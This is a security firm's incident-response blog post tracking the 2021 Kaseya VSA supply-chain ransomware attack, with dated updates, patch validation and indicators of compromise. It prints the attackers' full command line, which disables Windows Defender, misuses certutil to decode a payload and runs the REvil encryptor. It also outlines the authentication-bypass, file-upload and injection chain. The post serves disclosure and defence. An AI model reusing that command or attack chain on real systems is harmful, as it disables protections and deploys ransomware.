Rapid Response: Mass MSP Ransomware Incident

Updated 07/13/2021 @ 10:30am ET

Our team continues to investigate the Kaseya VSA supply chain attack that's currently affecting a growing number of MSPs, resellers and their customers.

Our initial findings and analysis are captured in this Reddit thread. We're continuing to update that thread and this post with new information. 

On Tuesday, July 13, we continued our coverage of the attack during July's episode of Tradecraft Tuesday. View the recording here.

We also hosted a webinar on Tuesday, July 6 at 1pm ET to provide additional information—access the recording here. 

If you need assistance—even if you're not a current Huntress partner—please contact our support team at support@huntress.com. We're working around the clock to support MSPs who have been impacted by this attack.

Quick Links

• What's Happening?
• Current Status
  
• Update #19 - 07/13/2021 @ 10:30am ET
• Update #18 - 07/11/2021 @ 7:10pm ET
• Update #17 - 07/11/2021 @ 4:35pm ET
• Update #16 - 07/08/2021 @ 5:27pm ET
• Update #15 - 07/06/2021 @ 7:08pm ET
• Update #14 - 07/06/2021 @ 2:04am ET
• Update #13 - 07/05/2021 @ 03:12pm ET
• Update #12 - 07/04/2021 @ 4:31pm ET
• Update #11 - 07/04/2021 @ 1:32pm ET
• Update #10 - 07/04/2021 @ 12:20pm ET
• Update #9 - 07/04/2021 @ 11:17am ET
• Update #8 - 07/03/2021 @ 8:43pm ET
• Update #7 - 07/03/2021 @ 4:07pm ET
• Update #6 - 07/03/2021 @ 11:34am ET
• Update #5 - 07/02/2021 @ 9:10pm ET
• Update #4 - 07/02/2021 @ 4:22pm ET
• Update #3 - 07/02/2021 @ 3:17pm ET
• Update #2 - 07/02/2021 @ 2:49pm ET
• Update #1 - 07/02/2021 @ 2:45pm ET
• Initial Indicators of Compromise
• Further Reading & Resources
• Can Huntress Help Me?

What's Happening?

We are tracking ~30 MSPs across the US, AUS, EU, and LATAM where Kaseya VSA was used to encrypt well over 1,000 businesses and are working in collaboration with many of them. All of these VSA servers are on-premises and Huntress has confirmed that cybercriminals have exploited an arbitrary file upload and code injection vulnerability and have high confidence an authentication bypass was used to gain access into these servers. 

Kaseya has also stated:

R&D has replicated the attack vector and is working on mitigating it. We have begun the process of remediating the code and will include regular status updates on our progress starting tomorrow morning.

Our team has been in contact with the Kaseya security team since July 2 at approximately 2:00pm ET. They immediately started taking response actions and feedback from our team as we both learned about the unfolding situation.

Many partners are asking "What do you do if your RMM is compromised?". This is not the first time hackers have made MSPs supply chain targets, and we previously recorded a video guide to Surviving a Coordinated Ransomware Attack after 100+ MSPs were compromised in 2019. This is a good resource to start with, and you can also watch our most recent webinar about recovering from a mass ransomware attack here.

Current Status

At 4:30pm ET on July 11, Kaseya released their patch to remediate on-premises VSA servers. The Huntress team has since validated this patch, which was dubbed 9.5.7a (9.5.7.2994) Feature Release.

With this patch installed, our previous proof-of-concept exploit now fails—and we believe the attack vector is no longer present.

Update #19 - 07/13/2021 @ 10:30am ET

In Update 5 of our Reddit post (7/2/2021 2110 ET) thread, we mentioned:

“For our Huntress partners using VSA, we took proactive steps to help protect your systems. We will send out a follow-up with details.” 

Read all the details about the “proactive steps” we took in this blog post.

Update #18 - 07/11/2021 @ 7:10pm ET

The Huntress team has validated the released Kaseya patch, dubbed 9.5.7a (9.5.7.2994) Feature Release.

You can install the patch with the "KInstall.exe" update utility, found online here if you do not find a local copy: http://download.kaseya.com/KInstall.exe. Installing the patch does suggest a Windows Update if you have not recently installed the latest updates from Microsoft.

From our testing, installing the patch took approximately 10 minutes. After logging back into the VSA service, you are prompted to change your password to meet the new policy requirements.

We observe that, with this patch installed, [.highilght]/dl.asp, /userFilterTableRpt.asp[.highilght] and [.highilght]/done.asp[.highilght] are no longer present. The "Deploy Agent" menu item in the GUI [.highilght]/mkDefault.asp. KUpload.dll[.highilght] has been modified (we have yet to dig into the changes on this file).

With this patch installed, our previous proof-of-concept exploit now fails—and we believe the attack vector is no longer present.

Update #17 - 07/11/2021 @ 4:35pm ET

Kaseya has released their patch to remediate on-premises VSA servers and has brought VSA SaaS infrastructure back online on 1630 ET, July 11 2021. Our team is working to validate the patch and will have more updates soon. 

Note: an SQL script has been previously provided to clear out any pending VSA procedures/scripts/jobs that may have accumulated since the shutdown, along with a “VSA SQL Audit Report” tool—both of which are strongly recommended to run before beginning recovery efforts and restoring internet connectivity.

Update #16 - 07/08/2021 @ 5:27pm ET

Huntress has seen the video from Kaseya’s CEO released last night and the latest updates explaining that the timeline for a patch and restoration is now delayed until this coming Sunday.

Kaseya has released an on-premise playbook as well as a SaaS playbook for recovery efforts.

Our current concern is that if organizations shut down their on-premise VSA servers, there could be a chance that these systems are powered off in a state with pending jobs still queued to ransom more downstream endpoints once connectivity is restored.

We believe it is vitally important to remove these pending jobs prior to reenabling connectivity.

Once a patch is released, the Huntress team will have more updates to share.

Update #15 - 07/06/2021 @ 7:08pm ET

As demonstrated in our webinar today, Huntress Security Researcher Caleb Stewart has successfully reproduced the Kaseya VSA exploits used to deploy REvil/Sodinokibi ransomware and released a POC demonstration video depicting:

• an Authentication Bypass
• an Arbitrary File Upload
• and Command Injection

Although the hackers did not deliver an implant with their exploit, the latter half of the video illustrates how it could have been done (used MSFVenom to generate a Meterpreter binary and caught the callback with pwncat).

Update #14 - 07/06/2021 @ 2:04am ET

We've received a ton of requests from compromised MSPs to detail what actions the hackers did after compromising a VSA database. Although we cannot say for certain what they did to your database, this is what we discovered across the ones we analyzed:

Huge thanks to Caleb Stewart, Dave Kleinatland and Jason Phelps at Huntress for this analysis. However, the huge kudos goes to the MSPs who decided to share their data for the greater good of the community. We would not have been able to piece this puzzle together this without you!

Update #13 - 07/05/2021 @ 3:12pm ET

At approximately 0415 ET this morning, our team received fragments of the [.highilght]Screenshot.jpg[.highilght] file that was uploaded as part of the attack chain. This [.highilght]Screenshot.jpg[.highilght] is new information that we have not yet seen shared publicly.

This [.highilght]Screenshot.jpg[.highilght] is in fact not a JPG image file, but more executable code that we can see disables existing user sessions, removes IIS logs, and other cleanup activities. Unfortunately, a large portion of the code is removed as the original IDS had not retrieved the full packet. This explains the previous activity we have seen across all compromised organizations. Again, we cannot thank the community enough for sharing your own valuable intelligence.

With the finding of this Screenshot.jpg, we are reminded that this was in fact uploaded to an accessible directory, and in the final POST request to [.highilght]/userFilterTableRpt.asp[.highilght] it is possible that an argument is supplied to call and execute this [.highilght]Screenshot.jpg[.highilght] code. This indicates not strictly SQL injection as a final vector for code execution, but potentially another form of injection.

Update #12 - 07/04/2021 @ 4:31pm ET

We have been tracing the original attack vector for this incident. Across all of the compromised servers we are aware of, there has been another commonality following the previously mentioned GET and POST requests from an AWS IP address [.highilght]18[.]223.199.234[.highilght] using curl to access these files sequentially:

[.highilght]/dl.asp/KUpload.dll/userFilterTableRpt.asp[.highilght]

We have observed that dl.asp contains proper SQL sanitization and there does not seem to be any SQL injection vulnerabilities present. However, it does seem to include a potential logic flaw in the authentication process.

This potential authentication bypass likely grants the user a valid session, and may let the user "impersonate" a valid agent. If that speculation is correct, the user could access other files that require authentication -- specifically [.highilght]KUpload.dll[.highilght] and userFilterTableRpt.asp in this case.KUpload.dll offers upload functionality and logs to a file [.highilght]KUpload.log[.highilght].

From our analysis, we have seen the [.highilght]KUpload.log[.highilght] on compromised servers prove the files [.highilght]agent.cr[.highilght]t and [.highilght]Screenshot.jpg[.highilght] were uploaded to the VSA [.highilght]server.agent.crt[.highilght] is, as previously stated, used to kick off the payload for ransomware. Unfortunately we have not yet retrieved a copy of [.highilght]Screenshot.jpg[.highilght] present on compromised servers that we have seen.

The [.highilght]userFilterTableRpt.asp[.highilght] file contains a significant amount of potential SQL injection vulnerabilities, which would offer an attack vector for code execution and the ability to compromise the VSA server.

Following this chain, we have high confidence that the threat actor used an authentication bypass in the web interface of Kaseya VSA to gain an authenticated session, upload the original payload, and then execute commands via SQL injection. We can confirm that SQL injection is how the actors began code execution.

We are working with AWS and law enforcement to investigate this [.highilght]18[.]223.199.234[.highilght] IP address. Considering the fact that this IP address provides shared hosting (credit to RiskIQ for this intel), it's plausible the attackers may have compromised a legitimate webserver and used it as a launch point for their attack. We are still actively analyzing this situation and will continue to update you with new threat intelligence as we find it.

If anyone has information surrounding this newfound [.highilght]\Kaseya\WebPages\ManagedFiles\VSATicketFiles\Screenshot.jpg[.highilght] file, please share your findings and the file with us at support@huntress.com.

Update #11 - 07/04/2021 @ 1:32pm ET

If any organizations are willing to share copies of the unencrypted files from known compromised VSA servers, this would be an incredible help in our analysis.

• [.highilght]C:\ProgramData\Kaseya\Log\KaseyaEdgeServices\*.log[.highilght]

• [.highilght]C:\inetpub\logs\LogFiles\W3SVC#\*.log[.highilght]

• [.highilght]C:\ProgramData\Kaseya\Kupload\KUpload.log[.highilght]

These logs will be pivotal in helping us understand what IP addresses the attackers came from as we cooperate with law enforcement and cloud service providers. As always, your information will be private and confidential -- please send download links to support@huntress.com. We are all in this together and greatly appreciate your help.

Update #10 - 07/04/2021 @ 12:20pm ET

It's still too early to tell, but from the logs we have been analyzing, we have seen a singular POST request from an AWS IP address 18[.]223.199.234 using curl to access the /userFilterTableRpt.asp file.

Update #9 - 07/04/2021 @ 11:17am ET

Kaseya has shared their own detection tool. From their report, "The new Compromise Detection Tool was rolled out last night to almost 900 customers who requested the tool." That detection tool checks for the presence of a "[.highilght]userfiltertablerpt.asp[.highilght]" file included their public web root. As we have examined the file, we can see there is a number of potential SQL injection vulnerabilities, and we are actively reviewing the pertinent files for other potential attack vectors.

Update #8 - 07/03/2021 @ 8:43pm ET

We've made several changes to the "What's Happening" section of this post, updating the number of confirmed impacted organizations and sharing new information based on our analysis of hundreds of VSA logs from compromised servers. 

Going forward the Huntress team will split our efforts into support two major objectives:

• Restoration: 75% of our effort will focus on helping compromised partners recover from this incident, using Kaseya's upcoming Compromise Detection Tool (expected shortly) and helping partners' clients understand the situation.
• Attack Vector Awareness: 25% of our effort will continue to focus on the initial access vector used by the attackers. We still have data to analyze and are preparing for the release of a near-term beta patch tomorrow (per Kaseya's July 3 7:30pm ET update).
  
  

Update #7 - 07/03/2021 @ 4:07pm ET

We are aware of Sodinokibi artifacts like the "BlackLivesMatter" registry keys and values stored within [.highilght]HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node[.highilght]. Although details like these may be spicy for headlines, the purpose of this registry key is to simply store encryptor runtime keys/configurations and have been previously discussed. We are also aware of conversation about the Kaseya payload's ability to autologin to safe mode and set the password to "[.highilght]DTrump4ever[.highilght]". This behavior will only happen if the  -smode argument is specified and we have not observed this behavior on any of the MSPs we've worked with.

Update #6 - 07/03/2021 @ 11:34am ET

Based on a combination of the service providers reaching out to us for assistance along with the comments we're seeing in this thread, it's reasonable to think this could potentially be impacting thousands of small businesses.

At 10:00 AM ET on July 3, Kaseya shared a new update, continuing to strongly recommend on-premise Kaseya customers keep their VSA servers offline until further notice. They explain more updates will release every 3-4 hours or more frequently as new information is discovered.

We are still actively analyzing Kaseya VSA and Windows Event Logs. If you have unencrypted logs from a confirmed compromised VSA server and you are comfortable sharing them to help the discovery efforts, please email a link download them at support[at]huntress.com. All your information will be treated confidentially and redacted before any information is posted publicly. ♥

Our focus over the next 48 hours will be advising and helping MSPs and Resellers whose customers were attacked on how to proceed. If you need assistance (Huntress partner or not) email support[at]huntresslabs.com. Based on the many MSPs and Resellers who have reached out to us asking for advice on dealing with a situation like this - including many who had no affected customers.

Update #5 - 07/02/2021 @ 9:10pm ET

We are hard at work learning all we can but have a few details and notes we wanted to share:

Fabian Wosar released a decrypted copy of the REvil/Sodin encryptor config. This file contains details about the ransomware payload including process kill lists, whitelisted components, and command & control domains used.

IOCs (SHA256):

• agent.exe d55f983c994caa160ec63a59f6b4250fe67fb3e8c43a388aec60a4a6978e9f1e
• mpsvc.dll (sideloaded DLL, we have seen this file first hand) e2a24ab94f865caeacdf2c3ad015f31f23008ac6db8312c2cbfb32e4a5466ea2
• mpsvc.dll (sideloaded DLL that others have seen) 8dd620d9aeb35960bb766458c8890ede987c33d239cf730f93fe49d90ae759dd

If your MSP (Huntress partner or not) was impacted by this incident and you need some advice on where to go from here reach out to support@huntress.com. We've coached over 200 MSPs through incidents like this since early 2019 and would be happy to share best practices.

For our Huntress partners using VSA, we took proactive steps to help protect your systems. We will send out a follow-up with details.

We will be working through the night and will provide additional details as we learn more.

Update #4 - 07/02/2021 @ 4:22pm ET

We are seeing indications VSA admin user accounts were disabled only moments before ransomware is deployed. The source of these indicators are auto-emailed Kaseya VSA Security Notifications indicated the "[.highilght]KElevated######[.highilght]" (SQL User) account performed this action. We're hesitant to jump to any conclusions, but this could via suggest execution via SQL commands.

Update #3 - 07/02/2021 @ 3:17pm ET

Based on the forensic patterns, ransomware notes and the TOR URL, we strongly believe a [.highilght]REvil/Sodinokibi[.highilght] RaaS affiliate is behind these intrusions.

• [.highilght]hxxp://aplebzu47wgazapdqks6vrcv6zcnjppkbxbr6wketf56nf6aq2nmyoyd[.]onion[.highilght]

The Huntress customer support team has started pre-emptively calling all of our VSA partners to make the aware of the situation. We currently have three Huntress partners who are impacted with roughly 200 businesses that have been encrypted. We are aware of at least 8 impacted MSP partners at this time.

Update #2 - 07/02/2021 @ 2:49pm ET

We've collected a copy of the encryptor ([.highilght]agent.exe[.highilght]). The encryptor is digitally signed with a valid digital signature with the following signer information:

• Name: PB03 TRANSPORT LTD.

• Email: Brouillettebusiness@outlook.com

• CN = Sectigo RSA Code Signing, CAO = Sectigo Limited, L = Salford, S = Greater Manchester, C = GB

• Serial #: 119acead668bad57a48b4f42f294f8f0

• Issuer: https://sectigo.com/

When agent.exe runs, the following files are dropped into the hardcoded path c:\Windows:

• [.highilght]MsMpEng.exe[.highilght] - the legit Windows Defender executable

• [.highilght]mpsvc.dll[.highilght] - the encryptor payload that is sideloaded by the legit Defender .EXE

Update #1 - 07/02/2021 @ 2:45pm ET

Based on current conversations, one impacted partner stated they are running on-prem VSA with one patch behind and 2FA running on all users/integration accounts. A second partner stated they are running on-prem VSA with one patch behind and 2FA running on all users except the Autotask and Warranty Master integration accounts.

Initial Indicators of Compromise

On July 2 around 11am ET many Kaseya VSA servers were used to deploy ransomware. Here are the details of that initial intrusion.

Server IOCs

Attackers uploaded [.highilght]agent.crt[.highilght] and [.highilght]Screenshot.jpg[.highilght] to exploited VSA servers and this activity can be found in [.highilght]KUpload.log[.highilght] (which *may* be wiped by the attackers or encrypted by ransomware if a VSA agent was also installed on the VSA server).

• A series of GET and POST requests using curl can be found within the KaseyaEdgeServices logs located in [.highilght]%ProgramData%\Kaseya\Log\KaseyaEdgeServices[.highilght] directory with a file name following this modified ISO8601 naming scheme [.highilght]KaseyaEdgeServices-YYYY-MM-DDTHH-MM-SSZ.log[.highilght].

Attackers came from the following IP addresses using the user agent [.highilght]curl/7.69.1[.highilght]:

[.highilght]18.223.199[.]234[.highilght] (Amazon Web Services) discovered by Huntress

[.highilght]161.35.239[.]148[.highilght] (Digital Ocean) discovered by TrueSec

[.highilght]35.226.94[.]113[.highilght] (Google Cloud) discovered by Kaseya

[.highilght]162.253.124[.]162[.highilght] (Sapioterra) discovered by Kaseya

We've been in contact with the internal hunt teams at AWS and Digital Ocean and have passed information to the FBI Dallas office and relevant intelligence community agencies.

• The VSA procedure used to deploy the encryptor was named "Kaseya VSA Agent Hot-fix”. Additional procedures were "Archive and Purge Logs"

The "Kaseya VSA Agent Hot-fix” procedure ran the following: "[.highilght]C:\WINDOWS\system32\cmd.exe[.highilght]" [.highilght]/c ping 127.0.0.1 -n 4979 > nul & C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe Set-MpPreference -DisableRealtimeMonitoring $true -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend & copy /Y C:\Windows\System32\certutil.exe C:\Windows\cert.exe & echo %RANDOM% >> C:\Windows\cert.exe & C:\Windows\cert.exe -decode c:\kworking\agent.crt c:\kworking\agent.exe & del /q /f c:\kworking\agent.crt C:\Windows\cert.exe & c:\kworking\agent.exe[.highilght]

Endpoint IOCs

Ransomware encryptors pushed via the Kaseya VSA agent were dropped in TempPath with the file name [.highilght]agent.crt[.highilght] and decoded to agent.exe. TempPath resolves to [.highilght]c:\kworking\agent.exe[.highilght] by default and is configurable within [.highilght]HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Kaseya\Agent\<unique id>[.highilght]

• When [.highilght]agent.exe[.highilght] runs, the legitimate Windows Defender executable [.highilght]MsMpEng.exe[.highilght] and the encryptor payload [.highilght]mpsvc.dll[.highilght] are dropped into the hardcoded path "[.highilght]c:\Windows[.highilght]" to DLL sideload.

The [.highilght]mpsvc.dll[.highilght] Sodinokibi DLL creates the registry key [.highilght]HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\BlackLivesMatter[.highilght] which contains several registry values that store encryptor runtime keys/configurations artifacts.

• agent.crt - MD5: 939aae3cc456de8964cb182c75a5f8cc - Encoded malicious content

• agent.exe - MD5: 561cffbaba71a6e8cc1cdceda990ead4 - Decoded contents of agent.crt

• cert.exe - MD5: <random due to appended string> - Legitimate Windows certutil.exe utility
• mpsvc.dll - MD5: a47cf00aedf769d60d58bfe00c0b5421- REvil encryptor payload

Further Reading & Resources

• Resources for DFIR Professionals Responding to the REvil Ransomware Kaseya Supply Chain Attack
• Kaseya Supply Chain Attack Delivers Mass Ransomware Event to US Companies (Kevin Beaumont)
• Insight on the Public/Private Decryption Key Conversation (Fabian Wosar)
• Media Coverage: NYTimes, WSJ, BBC, Washington Post, Reuters, AP, Forbes

Can Huntress Help Me?

We're doing everything we can to support businesses that need help right now. The MSP community is an incredibly supportive network and we're actively engaged with many members and organizations.

We've taken steps within our platform to help partners reduce some of the risk of being affected by this attack. We'll share more on this in a future update.

If you need assistance—even if you're not a current Huntress partner—please reach out to our support team at support@huntress.com. We're working around the clock to support MSPs who have been impacted by this attack. You can also start a Huntress trial here (this is not required to get help from us).